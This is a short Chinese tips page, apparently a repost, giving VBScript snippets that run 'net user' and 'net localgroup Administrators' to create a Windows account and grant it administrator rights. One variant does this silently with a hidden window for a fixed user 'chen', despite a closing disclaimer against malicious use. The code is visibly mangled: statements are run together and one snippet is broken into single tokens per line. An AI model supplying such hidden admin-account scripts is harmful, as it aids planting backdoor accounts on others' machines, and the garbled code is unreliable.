代码如下:
set wsh=wscript.createobject("wscript.shell")wsh.run "net user 用户名 密码 /add"
第一行,获取 vbs 脚本执行宿主的实例
第二行,通过宿主执行 vbs 脚本,添加新用户
请自行替换其中的“用户名”、“密码”为自己的
'要有
用户
才能添加到
组里面
dim
wshshell
set
wshshell=createobject("wscript.shell")
a=inputbox
("输入用户名")
b=inputbox
("输入密码")
wshshell.run
"net
user
"
&
a
&
"
"
&
b
&
"
/add",,1
wshshell.run
"net
localgroup
Administrators
"
&
a
&
"
/add"
dim objset obj = createobject("wscript.shell")
obj.run "command /c net user chen /add " , 0 '隐藏窗口
obj.run "command /c net localgroup administrators chen /add" , 0
set obj = nothing
保存成.vbs文件
注:请不要用于恶意攻击
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)